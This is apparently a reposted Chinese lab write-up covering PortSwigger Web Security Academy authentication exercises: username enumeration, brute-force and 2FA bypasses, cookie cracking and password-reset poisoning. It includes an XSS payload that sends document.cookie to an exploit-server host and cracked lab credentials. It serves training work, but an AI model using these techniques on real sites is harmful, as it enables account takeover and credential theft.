【bp靶场portswigger-服务端2】身份认证-16个实验(全)

news2024/12/23 2:10:40

目录

一、身份验证定义

1、三个身份验证因素

2、身份验证和授权

3、身份验证漏洞的产生

4、实验的字典

二、基于密码的登录中的漏洞

1、强制策略

2、用户枚举

3、有缺陷的强力保护

实验1:通过不同响应的用户名枚举

实验4:通过细微不同的响应进行用户名枚举

实验5:通过响应计时的用户名枚举

实验6:断蛮力保护、IP块

实验7:通过帐户锁定枚举用户名

实验13:暴力破解保护功能失效,每个请求有多个凭据

三、多因素身份验证中的漏洞

1、简述:

2、双因素身份验证令牌

3、有缺陷的双因素验证逻辑

4、暴力破解2FA验证码

实验2:2FA简单旁路

实验8:2FA断开逻辑

实验16:使用暴力攻击的2FA旁路(有一处数据包错误,暂未研究明白)

四、其他身份验证机制中的漏洞

1、简述:

2、保持用户登录

3、重置用户密码

实验9:强制使用保持登录状态的Cookie

实验10:离线密码破解

实验3:密码重置逻辑错误

实验11:通过中间件的密码重置中毒

实验12:通过更改密码暴力破解密码


一、身份验证定义

1、三个身份验证因素

(身份验证机制依赖于一系列技术来验证这些因素中的一个或多个)
知识因素:一些你知道,如密码或安全问题的答案。
占有因素:一些你有也就是像移动电话或安全令牌这样的物理对象。
内在因素:您的身份或行为,例如,您的生物特征或行为模式。



2、身份验证和授权

身份验证:验证用户是否确实是他们自称的那个人
授权:涉及验证用户是否被允许做一些事情


3、身份验证漏洞的产生

身份验证机制很弱:不能充分地防止暴力攻击
身份验证失败:实现中的逻辑缺陷或糟糕的编码允许攻击者完全绕过身份验证机制
第三方身份验证机制中的漏洞

————

示例:
1、基于密码的登录中的漏洞:
2、多因素身份验证中的漏洞
3、其他身份验证机制中的漏洞


4、实验的字典

用户名:

Authentication lab usernames | Web Security Academy

密码:

Authentication lab passwords | Web Security Academy

 

二、基于密码的登录中的漏洞

1、强制策略

强制特定用户名,强制特定的密码组成


2、用户枚举

观察网站行为的变化,以确定给定用户名是否有效

在尝试强行登录页面时,应特别注意以下方面的任何差异

1、状态代码:爆破返回的状态代码对于绝大多数都是错误的。如果返回不同的状态代码,则表明用户名正确

————
2、错误信息:有时返回的错误信息会有所不同,具体取决于用户名和密码是否都不正确或只有密码不正确。(如密码错误的提示)

————
3、响应时间:如果大多数请求都是以相似的响应时间处理的,那么任何偏离这个响应时间的请求都表明有更多的步骤。(如用户名有效,网站可能仅检查密码是否正确。这个额外的步骤可能会导致响应时间稍微增加)
————

涉及实验:

实验1:通过不同响应的用户名枚举

实验4:通过细微不同的响应进行用户名枚举

实验5:通过响应计时的用户名枚举


3、有缺陷的强力保护

暴力攻击会涉及多次失败,暴力保护的核心是尽可能巧妙地自动执行该过程,并降低攻击者尝试登录的速度。

————
防止暴力攻击的两种最常见方法是:
1、锁定账号:如果远程用户尝试登录失败的次数过多(或其他标准),则锁定他们尝试访问的帐户

锁定帐户可提供一定程度的保护,防止针对特定帐户的暴力强制。然而,这种方法不能充分地防止暴力攻击,在这种攻击中,攻击者只是试图获得对他们所能访问的任何随机帐户的访问权。

可以使用以下方法来解决此类保护问题:
1、建立可能有效的候选用户名列表。这可以通过用户名枚举或简单地基于公共用户名列表来实现。 
2、确定一个非常小的密码候选名单,您认为至少有一个用户可能拥有这些密码。重要的是,您选择的密码数量不能超过允许的登录尝试次数。例如,如果您已计算出最多只能尝试3次,则最多需要选择3次密码猜测。 
3、使用Burp Intruder之类的工具,对每个候选用户名尝试每个选定的密码。这样,您就可以尝试强行访问每个帐户,而不会触发帐户锁定。您只需要一个用户使用三个密码中的一个就可以危害帐户。 
4、帐户锁定也无法防止凭据填充攻击。这涉及到使用大量的用户名:密码对字典,这些字典由在数据泄露中被盗的真实登录凭据组成。凭据填充依赖于许多人在多个网站上重复使用相同的用户名和密码这一事实,因此,字典中的一些受损凭据有可能在目标网站上也有效。帐户锁定无法防止凭据填充,因为每个用户名只尝试一次。凭据填充尤其危险,因为它有时会导致攻击者仅通过一次自动攻击就危及许多不同帐户的安全


2、锁定ip:如果远程用户连续进行过多的登录尝试,则阻止他们的IP地址 
(都提供了不同程度的保护,但都不是无懈可击的,特别是在使用有缺陷的逻辑实现时)

用户速率限制

网站试图防止暴力攻击的另一种方法是通过用户速率限制。在这种情况下,在短时间内发出太多登录请求会导致您的IP地址被阻止。
用户速率限制有时比帐户锁定更可取,因为它不太容易受到用户名枚举和拒绝服务攻击。但是,它仍然没有完全安全。正如我们在前面的实验中看到的示例,攻击者可以通过多种方式操纵其表面IP来绕过拦截。

通常,只能通过以下方式之一解除阻止IP:
1、经过一段时间后自动执行
2、由管理员手动执行
3、用户在成功完成验证码后手动输入
4、由于该限制是基于从用户IP地址发送的HTTP请求的速率,因此如果您能够计算出如何通过单个请求猜测多个密码,有时也可以绕过此防御。 

————

例如,如果多次登录失败,IP将被阻止。在一些实施方式中,但如果IP所有者成功登录,则用于失败尝试次数的计数器重置。这意味着攻击者只需每隔几次尝试就登录自己的帐户,以防止达到此限制。

在这种情况下,仅仅在整个单词列表中定期包含您自己的登录凭据就足以使这种防御措施实际上毫无用处。 
————

涉及实验:

实验6:断蛮力保护、IP块

实验7:通过帐户锁定枚举用户名

实验13:暴力破解保护功能失效,每个请求有多个凭据

实验1:通过不同响应的用户名枚举

part1:

如果账号不存在,会有提示username不存在

(和实战中特别像)


part2:

爆破用户名

使用实验提供的usernaem

发现有一个长度不一样,提示的是密码的错误

账号:alterwind


part3:

爆破密码

使用实验提供的password

 

发现了有一个长度不一样的,302跳转

尝试一下是不是密码

密码:aaaaaa


part4:

登陆进去了

实验4:通过细微不同的响应进行用户名枚举

part1:

对用户名进行爆破

使用bp实验提供的username

 

 在结果中发现有一个相应时长长一点,在想是不是username验证正确了,在验证密码了

(但最后结果是错的)

对爆破结果再分析

(提取错误的提示信息)

 发现了错误提示不一样

(最后验证密码后:正确用户名后面是空格,错误用户名是一个点)

账号:root


part2:

对密码进行爆破

 使用实验提供的password

 熟悉的302跳转

密码:666666


part3:

登陆

root/666666

实验5:通过响应计时的用户名枚举

part1:

此实验,对ip有限制

爆破时候加上X-Forwarded-For: 

 payload1:

字典也就100来个,就设120就够了

 

 payload2:

提前设置把提示信息提取出来


part2:

分析结果

把时间勾上

有4个的时间,差不多都是1000

oracle

agent

vagrant

alerts


part3:

对密码进行爆破

payload2:

改为密码字典

(有延迟,很难准确爆破出)


part4:

登陆账号

实验6:断蛮力保护、IP块

part1:

题目已经提供了

已有账号:wiener:peter

要攻击的用户名:carlos

(要准备和password一样多的账号数量,只能多)

因为每错次个就会封ip,所以在登陆错3次内,循环插入正确的账号和密码(且不能多线程,不然就容易直接错3次了)

(使用notepad++的替换功能)

正确账号:wiener

现在每2个里面就有一个正确账号

 现在将密码与正确账号对应上(正确密码:peter)


part2:

开始使用 

要攻击的用户名:carlos

 payload1:

 payload2:


part3:

结果分析(302是登陆成功后的跳转,找到账号为carlos的302跳转)

账号:carlos

密码:monitoring


part4:

登陆

实验7:通过帐户锁定枚举用户名

part1:

发现重复登陆5次就会锁定账号,所以把所有账号重复进行5次枚举(使用集束炸弹Cluster bomb),观察响应包

错误的payload2:添加5个null payload

(密码应该不能为空)

正确的payload2:

直接密码1-5,是一样的效果

 


part2:

分析账号

账号:att


part3:

爆破账号att的密码

虽然有锁定,但尝试观察报错信息

 载入密码

 分析结果:

有一个长度出奇的短

(应该是提示信息不一样,当通过长度无法区分的时候,就提取提示信息)

 账号:att

密码:iloveyou


part4:

登陆

实验13:暴力破解保护功能失效,每个请求有多个凭据

part1:

可以发现请求以JSON格式提交登录凭据

整理的好看点

提示攻击的用户为carlos

将密码全部以json的格式添加到password关键字后面

先变一个开头(第一个"自己手动加上去)

 再变一个结尾(最后一个"也自己手动加上去)

 直接复制上去,要加上[数据块]

 

三、多因素身份验证中的漏洞

1、简述:

1、双因素身份认证实际性:验证生物特征因素对大多数网站来说是不切实际的。但是,基于以下内容的强制和可选双因素身份认证(2FA)越来越常见你知道的事以及你有的东西。这通常需要用户从他们拥有的带外物理设备输入传统密码和临时验证码。

2、双因素身份验证更安全:虽然攻击者有时可以获得单个基于知识的因素(如密码),但同时从带外来源获得另一个因素的可能性要小得多。因此,双因素身份验证显然比单因素身份验证更安全。然而,与任何安全措施一样,它的安全性取决于其实施情况。与单因素身份验证一样,实现不佳的双因素身份验证可以被击败,甚至完全绕过。

3、只是被验证两次:只有通过验证多个不同因素。以两种不同的方式验证同一因素不是真正的双因素身份验证。基于电子邮件的2FA就是这样一个例子。尽管用户必须提供密码和验证码,但访问验证码仅依赖于他们知道其电子邮件帐户的登录凭据。因此,知识认证因素只是被验证两次。 

2、双因素身份验证令牌

1、一些网站会将验证码以短信的形式发送到用户移动的上。虽然这在技术上还在验证“你所拥有的东西”的因素,但它是开放的滥用。

————

2、首先,代码是通过SMS传输的,而不是由设备本身生成的。这就产生了代码被拦截的可能性。此外,还存在交换SIM卡的风险,即攻击者通过欺诈手段获得带有受害者电话号码的SIM卡。然后,攻击者将收到发送给受害者的所有SMS消息,包括包含其验证码的消息。

————

3、绕过双因素身份验证

有时,双因素身份验证的实现存在缺陷,以至于可以完全绕过它(但是我尝试的经验,一般是前后端分离,只是前端绕过了能进去,但是没有数据)

————

如果用户首先被提示输入密码,然后被提示在单独的页面上输入验证码,则用户在输入验证码之前实际上处于“登录”状态。在这种情况下,值得测试一下,看看在完成第一个身份验证步骤后是否可以直接跳到“logged-in only”页面。有时候,您会发现网站在加载页面之前实际上并不检查您是否完成了第二步
————

涉及实验:

实验2:2FA简单旁路


3、有缺陷的双因素验证逻辑

有时,双因素身份验证中的逻辑缺陷意味着,在用户完成初始登录步骤后,网站无法充分验证同一用户是否正在完成第二步
 

示例:
1、用户在第一步中使用其普通凭据登录,如下所示
POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty


2、然后,在进入登录过程的第二步之前,他们将被分配一个与其帐户相关的cookie:
HTTP/1.1 200 OK
Set-Cookie: account=carlos

GET /login-steps/second HTTP/1.1
Cookie: account=carlos


3、提交验证码时,请求使用此cookie来确定用户尝试访问的帐户: 
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456



4、在这种情况下,攻击者可以使用自己的凭据登录,然后更改cookie到任何任意用户名时提交验证码
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456

如果攻击者随后能够强制验证代码,这将是极其危险的,因为这将允许他们完全基于用户名登录到任意用户的帐户。他们甚至不需要知道用户的密码。
————

涉及实验:

实验8:2FA断开逻辑


4、暴力破解2FA验证码

 1、与密码一样,网站需要采取措施防止2FA验证码被强行使用。这一点尤其重要,因为代码通常是一个简单的4位或6位数字。如果没有足够的强力保护,破解这样的代码是微不足道的。

2、一些网站试图通过在用户输入一定数量的不正确验证码时自动注销用户来防止这种情况。这在实践中是无效的,因为高级攻击者甚至可以通过以下方式自动执行此多步骤过程创建宏。该涡轮入侵者扩展也可用于此目的

————

涉及实验:

实验16:使用暴力攻击的2FA旁路

实验2:2FA简单旁路

已获得的凭据:wiener:peter

受害人的:carlos:montoya

双重验证绕过
第一重:密码验证
第二重:邮箱验证码


part1:

先登陆已有凭据wiener:peter

然后收取邮箱验证码

 

保存登录之后的url

https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account

 


part2:

使用已有凭据登录carlos账户

carlos:montoya(验证账号密码)

到这个URL就是要验证邮箱了

https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/login2


part3:

直接将换为登陆成功的URL尝试绕过第二重邮箱验证

即后面替换为/my-account

 就可以登陆成功

https://0ad10086030a7d84c14d583000a40062.web-security-academy.net/my-account

实验8:2FA断开逻辑

信息:

已获得的凭据:wiener:peter
受害者账号:carlos


part1:

先登陆已获得的凭据:wiener:peter

 


part2:

思路分析:

在网站map搜host找到刚刚的数据包login

然后还GET请求了一个login2(请求中的用户为wiener)

思路:将用户改为我们要攻击的账号carlos,并重放就可以第二步验证的是攻击账号的账号了

(分析完以后,退出登陆wiener)


part3:

第一步验证的完整过程

 先使用wiener登陆,同时bp打开拦截

 放过第一个登陆的数据包

此时将第二个数据包的 verify值改为受害者账号(carlos)

 第三个数据包我也改为了carlos


part4:

第二步验证的完整过程

这一步是验证受害用户验证码了(4位数,直接爆破)

————

 (此处一个错误提示:千万别用蛮力,全部爆破完才出来,,此时靶场已经关了,服了,用顺序递增)

 此时靶场已关,重新来过(服了)

 ————

重新爆破(换数值递增的方法)

注意:verify=carlos需要改为受害者(否则失败)

(爆破5次发现,官方基本上把验证码设置为了1000以下)

 把线程调大点

 

实验16:使用暴力攻击的2FA旁路(有一处数据包错误,暂未研究明白)

前提:

受害人凭据:carlos:montoya
但无权访问用户的 2FA 验证码(暴力破解)


part1:

登录用户carlos,提交任意验证码0000
(目的收集数据包,验证码对不对无所谓)


part2:

Project options(项目选项)--->sessions--->add

 scope(范围)---> all urls

提示:我以为老版的不能多选,就换了最新版试试

正确操作:多选条,然后删除多余的

再点击test macro

————

第三个数据包是200,是正常的

(但是我第二个数据包变成了400,不是302了,按道理账号密码是正确得跳转,并获得session)

然后都点击确认OK

 

再准备进行验证码爆破

 

 

 

四、其他身份验证机制中的漏洞

1、简述:

除了基本的登录功能外,大多数网站还提供了允许用户管理其帐户的补充功能。例如,用户通常可以更改其密码或在忘记密码时重置密码。这些机制还可能引入可被攻击者利用的漏洞。
 

网站通常会注意避免在其登录页面中出现众所周知的漏洞。但是很容易忽略这样一个事实,即需要采取类似的步骤来确保相关功能同样健壮。这在攻击者能够创建自己的帐户并因此能够轻松访问以研究这些附加页面的情况下尤为重要。 
 


2、保持用户登录

一个常见的功能是即使在关闭浏览器会话后仍保持登录状态的选项。这通常是一个简单的复选框,标记为“记住我”或“保持我的登录状态”。
 

1、破解公式:此功能通常通过生成某种“记住我”标记来实现,然后将其存储在持久性cookie中。由于拥有此cookie可以有效地让您绕过整个登录过程,因此最好不要猜测此cookie。但是,有些网站会根据可预测的静态值(如用户名和时间戳)的串联来生成此Cookie。有些甚至将密码作为cookie的一部分。如果攻击者能够创建自己的帐户,这种方法尤其危险,因为他们可以研究自己的cookie并可能推断出它是如何生成的。一旦他们计算出了公式,他们就可以尝试强行使用其他用户的cookie来访问他们的帐户。

2、破解加密算法:一些网站假设,如果cookie以某种方式加密,即使它使用静态值,也无法猜测。如果操作正确,这可能是真的,但是使用简单的双向编码(如Base64)天真地“加密”cookie并不能提供任何保护。即使使用正确的单向哈希函数加密也不是完全安全的。如果攻击者能够轻松地识别散列算法,并且不使用salt,那么他们可能会通过简单地散列他们的单词列表来暴力破解Cookie。如果没有对cookie猜测应用类似的限制,则可以使用此方法绕过登录尝试限制。

3、XSS攻击:即使攻击者无法创建自己的帐户,他们仍然可以利用此漏洞。使用常用的技术(如XSS),攻击者可以窃取另一个用户的“记住我”cookie,并从中推断出cookie是如何构造的。如果网站是使用开源框架构建的,Cookie构建的关键细节甚至可能会公开记录。

4、密码哈希:在极少数情况下,即使经过哈希处理,也可能从Cookie中以明文形式获得用户的实际密码。众所周知的密码列表的散列版本可以在网上找到,所以如果用户的密码出现在其中一个列表中,解密散列有时可能就像将散列粘贴到搜索引擎中一样微不足道。这证明了salt在有效加密中的重要性。 

————

涉及实验:

实验9:强制使用保持登录状态的Cookie

实验10:离线密码破解


3、重置用户密码

1、通过电子邮件发送密码

应避免通过不安全的通道发送持久口令。在这种情况下,安全性依赖于生成的密码在很短的时间内过期,或者用户立即再次更改其密码。否则,这种方法很容易受到中间人攻击。

电子邮件通常也不被认为是安全的,因为收件箱是永久性的,并且不是真正为机密信息的安全存储而设计的。许多用户还通过不安全的渠道在多个设备之间自动同步收件箱

2、使用URL重置密码

重置密码的一种更可靠的方法是向用户发送唯一的URL,该URL将用户带到密码重置页。此方法的安全性较低的实现使用带有易于猜测的参数的URL来标识正在重置的帐户,例如:
http://vulnerable-website.com/reset-password?user=victim-user

在此示例中,攻击者可以更改user参数以引用他们识别的任何用户名。然后,他们将被直接带到一个页面,在那里他们可以为这个任意用户设置一个新密码。

此过程的一个更好的实现是生成一个高熵、难以猜测的令牌,并基于该令牌创建重置URL。在最佳情况下,此URL不应提供有关正在重置哪个用户密码的提示。 
http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8

当用户访问此URL时,系统应该检查后端是否存在此令牌,如果存在,应该重置哪个用户的密码。此令牌应在短时间后过期,并在重置密码后立即销毁。

但是,某些网站在提交重置表单时也无法再次验证令牌。在这种情况下,攻击者只需通过自己的帐户访问重置表单,删除令牌,然后利用此页面重置任意用户的密码。 

如果重置电子邮件中的URL是动态生成的,也可能容易受到密码重置毒害。在这种情况下,攻击者可能会窃取其他用户的令牌并使用它更改其密码。

3、更改用户密码

通常,更改密码需要输入当前密码,然后输入新密码两次。这些页面基本上依赖于与普通登录页面相同的过程来检查用户名和当前密码是否匹配。因此,这些页可能容易受到相同技术的攻击。

如果密码更改功能允许攻击者在不以受害用户身份登录的情况下直接访问它,则该功能可能特别危险。例如,如果用户名在隐藏字段中提供,攻击者就可能在请求中编辑此值以攻击任意用户。攻击者可能会利用此漏洞枚举用户名和强力密码。 


涉及实验:

实验3:密码重置逻辑错误

实验11:通过中间件的密码重置中毒

实验12:通过更改密码暴力破解密码

实验9:强制使用保持登录状态的Cookie

信息:

关闭浏览器后,会话未销毁(可以尝试暴力破解)

已有凭据:wiener:peter

攻击账号:carlos


part1:

登陆已有账号(点击stay-logged-in)


part2:

 分析登陆完整过程的数据包

(2个地方有保持登陆的值)

第一个地方,是提交登陆的地方(这个地方肯定是还没登陆进去的)

第二个地方是登陆进去后的页面(这个地方肯定是成功登陆并保存登陆状态的)

stay-logged-in的值解密出来后就是账号-密码(通过账号密码一直保持登陆状态)

先是进行了一遍base64加密

然后对密码进行了cmd5加密


part3:

提示:先退出登陆到首页

(不然后面爆破不出来)


part4:

对被攻击用户登陆状态的stay-logged-in值进行爆破

先导入密码字典

再设置加密规则

(先在是模仿加密规则,和我们退出来的方向相反)

对密码先进行md5加密

 再添加被攻击账号前缀(:千万别打成中文的了)

最后base64加密


part5:

分析结果

进行长度排序

 Y2FybG9zOjZlYmU3NmM5ZmI0MTFiZTk3YjNiMGQ0OGI3OTFhN2M5

解密:carlos:6ebe76c9fb411be97b3b0d48b791a7c9

解密:987654321

————

得出

账号:carlos

密码:987654321

实验10:离线密码破解

xss获取cookie的stay-logged-in值


part1:

已有凭据:wiener:peter

受害者账号:carlos


part2:

在主页找一个博客进行评论

exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/部分填自己的

<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>​

 


part3:

获取xss获取的cookie

 

Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

part4:

离线破解

base64破解 

carlos:26323c16d5f4dabff3bb136f2460a943

 cmd5解密:

carlos:onceuponatime


part5:

登陆

 

 

 

 

 

 

实验3:密码重置逻辑错误

信息:

已有凭据:wiener:peter

受害者账号:carlos


part1:

先把所有数据包抓了走一遍流程(分析找回的顺序)

输入用户名后,看邮箱

 

点URL后将进行重置密码

(进行重置的数据包就是关键了)


part2:

我将重置的URL发到了repeater

(观察到了前端隐藏参数,就是用户名)

 将用户名改为受害者账号:carlos

302跳转了,可能成功了,现在去尝试登陆


part3:

登陆

carlos/111111

 

实验11:通过中间件的密码重置中毒

信息:

已有凭据:wiener:peter

本实验中X-Forwarded-Host标头是受支持的,使用它来将动态生成的重置链接指向自己控制的任意域


part1:

复制邮箱,后面要用(其实后面也可以直接查看)

exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net


part2:

退出登陆,到忘记密码流程去

先使用受害者账号名

去获取temp-forgot-password-token

​添加X-Forwarded-Host标头,并指向漏洞服务器(已有的)

X-Forwarded-Host:exploit-0aea007604ddbf52c85306d901ca0003.exploit-server.net

在漏洞服务器中,找到收获账号的temp-forgot-password-token

nFLC5vX07qjtWVeye3UKdfDOjXaYK0zt


part3:

再使用自己的已有账号w……

去获取重置密码的URL

再去到服务器邮箱里面


part4:

点击重置密码的URL

并将temp-forgot-password-token值由w……的修改为被害者c……的

 进入重置密码

 重置的需要也需要将temp-forgot-password-token值由w……的修改为被害者c……的


part5:

重置后进行登陆

 

实验12:通过更改密码暴力破解密码

信息:

已有凭据:wiener:peter

受害者账号:carlos


part1:

使用已有账号分析(先登陆已有账号)

为了爆破出正确原密码,需借助错误提示(观察响应)

方法1:正确原始密码、不一致的新密码(可爆破出原密码)

爆破中:原密码错误时候提示Current password is incorrect,原密码正确的时候提示New passwords do not match

 ————

方法2:错误原密码、不一致新密码

爆破中:当原密码错误时候,提示Current password is incorrect;当原密码正确到时候,提示信息变为New passwords do not match

 ————

方法3:错误原密码、一致新密码

错误出现302跳转到登陆页面,正确也是302跳转(无法爆破)


part2:

username改为carlos

对原密码进行爆破

导入字典

 

 在结果数据包中匹配New passwords do not match(此时说明原密码已经正确了)


part3:

分析结果

账号:carlos

密码:7777777

注册已登陆账号,并登陆carlos

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/126992.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BPF学习笔记(六)-- 使用bpf实现xdp的例子

本篇文章参考《Linux Observability with BPF》中第7章的例子&#xff0c;主要功能是借助于ip命令作为前端&#xff0c;对其他主机访问tcp的8000端口进行限制&#xff0c;这里需要使用较新版本的iproute2软件工具包. 1. 下载编译iproute2 工具包&#xff0c;使用最新的ip命令…

gRPC学习

首先什么了解什么是RPC? 不同于 TCP 和 HTTP&#xff0c;TCP 和 HTTP 是网络传输协议&#xff0c;而 RPC 是一种设计、实现框架&#xff0c;通讯协议只是其中一部分&#xff0c;RPC 不仅要解决协议通讯的问题&#xff0c;还有序列化和反序列化&#xff0c;以及消息通知。 一…

IDEA的使用技巧积累

本文主要是记录一些在使用IDEA过程中遇到的一些问题解决方法、以及快捷键等 添加框架支持 打开模块设置 (文件—>项目结构也是同理) 主要用于配置模块&#xff0c;例如web&#xff0c;springboot模块 设置 主要设置maven的一些信息 CtrlShiftF (java代码审计基础中出现…

WebSocket的基本使用

目录 为何使用websocket 1.后端搭建 2.搭建webSocket前后分离 1.配置跨域过滤器与初始化websocket 2.定义websocket服务 3.定义控制器进行测试webSocket向前端发送消息 2.前端准备 3.进行测试 向后端发送消息测试 后端向前端发送消息测试 为何使用websocket 在浏览器…

小型云台机械手红外搬运功能的实现

1. 功能说明 在小型云台机械手前方安装近红外传感器&#xff0c;如果近红外触发&#xff08;检测到有货物&#xff09;&#xff0c;机械手开始抓取货物&#xff0c;并将货物从一个区域搬运到另一个指定区域&#xff1b;否则&#xff0c;机械臂不动作。 2. 使用样机 本实验使用…

【LeetCode】从前序与中序遍历序列构造二叉树 [M](二叉树重构)

105. 从前序与中序遍历序列构造二叉树 - 力扣&#xff08;LeetCode&#xff09; 一、题目 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返回其根节点。 示例 1&…

ASEMI整流桥MB10S,DB207S和ABS210有什么区别

编辑-Z ASEMI整流桥MB10S&#xff0c;DB207S和ABS210有什么区别&#xff1f;这几个型号从外观看都是很相似的&#xff0c;那么他们参数有什么不一样呢&#xff1f; MB10S参数&#xff1a; 型号&#xff1a;MB10S 封装&#xff1a;MBS-4 最大重复峰值反向电压&#xff08;VR…

缓冲区Buffer类的设计(参考Muduo实现)

Buffer的功能需求&#xff1a; Buffer类的设计目的是再创造一层应用层缓冲区。 其对外表现为一块连续的内存(char* p, int len)&#xff0c;以方便客户代码的编写。 size() 可以自动增长&#xf…

Java如何自定义一个变长数组?

文章目录思路分析实现代码测试结果首先需要声明的是&#xff0c; Java本身是提供了变长数组的&#xff0c;即 ArrayList。那么自定义一个变长数组有啥用&#xff1f;其实没啥用或者说用处不大&#xff0c;主要就是为了了解下变长数组的设计理念而已。实际工作中直接使用 ArrayL…

文华财经期货背离信号准确率高指标公式,单边趋势行情增仓上行多空共振策略

由“短线震荡波段王”和“三柱共振-高把握”指标合成 功能 : 1.红绿小波段黄蓝中波段粉青大波段 2.红绿中小波段 3.顶背底背提示 4.金叉死叉提示 5.多和空提示-金叉死叉改写 优点:宽幅震荡和窄幅震荡 弊端:单边行情(可结合多空趋势主图规避) 功能: 1.红绿波段 2.大中量仓-单…

MySQL索引详解

目录 1、为什么要有索引&#xff1f; 2、预备知识 3、为何IO交互要是 Page&#xff1f; 4、如何理解Page以及索引理解 5、索引操作 <1> 创建主键索引 <2> 创建唯一索引 <3> 普通索引的创建 <4> 全文索引的创建 <5> 查询索引 <5>…

Python图像识别实战(五):卷积神经网络CNN模型图像二分类预测结果评价(附源码和实现效果)

前面我介绍了可视化的一些方法以及机器学习在预测方面的应用&#xff0c;分为分类问题&#xff08;预测值是离散型&#xff09;和回归问题&#xff08;预测值是连续型&#xff09;&#xff08;具体见之前的文章&#xff09;。 从本期开始&#xff0c;我将做一个关于图像识别的…

BOOT进程控制模式与故障排错

1. BOOT reboot and shutdown—使用systemctl 命令。 systemctl poweroff–关机 systemctl reboot --重启 systemctl halt 禁用CPU 在7版本中使用systemctl 工具。 选择systemd target graphical.target 桌面图形模式 multi-user.target 多用户模式–命令行 rescue.target 救援…

Linux驱动开发基础__总线设备驱动模型

目录 1 驱动编写的三种方法 1.1 传统写法 1.2 总线设备驱动模型 1.3 设备树 2 在 Linux 中实现“分离”&#xff1a;Bus/Dev/Drv 模型 3 匹配原则 4 函数调用关系 1 驱动编写的三种方法 1.1 传统写法 1.2 总线设备驱动模型 引入platform_device、platform_driver&…

二叉数题型2

目录 二叉搜索树的众数 二叉树的最近公共祖先 修剪二叉树 二叉搜索树的众数 问题描述&#xff1a; 给你一个含重复值的二叉搜索树&#xff08;BST&#xff09;的根节点 root &#xff0c;找出并返回 BST 中的所有 众数&#xff08;即&#xff0c;出现频率最高的元素&#…

PROJ 9.1.1源码下载编译(Win10+VS2022)

目录PROJ什么是PROJPROJ下载方式资源结构编译PROJ打包编译成功的库PROJ 什么是PROJ Proj是一个免费的GIS工具。 它专注于地图投影的表达&#xff0c;以及转换。采用一种非常简单明了的投影表达PROJ&#xff0c;比其它的投影定义简单&#xff0c;但很明显。很容易就能看到各种…

无人机倾斜摄影测量技术的优势有哪些?

传统的地理信息获取工作一般是通过人工测量的方式进行&#xff0c;但这样的测量方式具有工作强度大、成本高等问题。随着现代科技的不断发展&#xff0c;测绘行业对地理信息数据的准确性、时效性要求也越来越高&#xff0c;人工成本和时间成本也为行业带来了巨大的压力。因此&a…

GIT回退到指定版本的两种方法(reset/revert)

实现多人合作程序开发的过程中&#xff0c;我们有时会出现错误提交的情况&#xff0c;此时我们希望能撤销提交操作&#xff0c;让程序回到提交前的样子&#xff0c;本文总结了两种解决方法&#xff1a;reset、revert。 命令特点reset该命令会强行覆盖当前版本和要回退的版本之…

ArcGIS基础实验操作100例--实验15设置字段属性域

本实验专栏来自于汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 基础编辑篇--实验15 设置字段属性域 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;1&a…

如何用Sonic云真机打王者

使用Sonic进行跨网段部署&#xff0c;助力海外业务的公司进行专项检测。提供定时任务充分利用无人值守时间回归UI测试&#xff0c;省时省力。自研随机事件测试与UI遍历测试&#xff0c;支持打通Jenkins的DevOps流程&#xff0c;Sonic提供图像识别&#xff0c;后续还会添加poco控…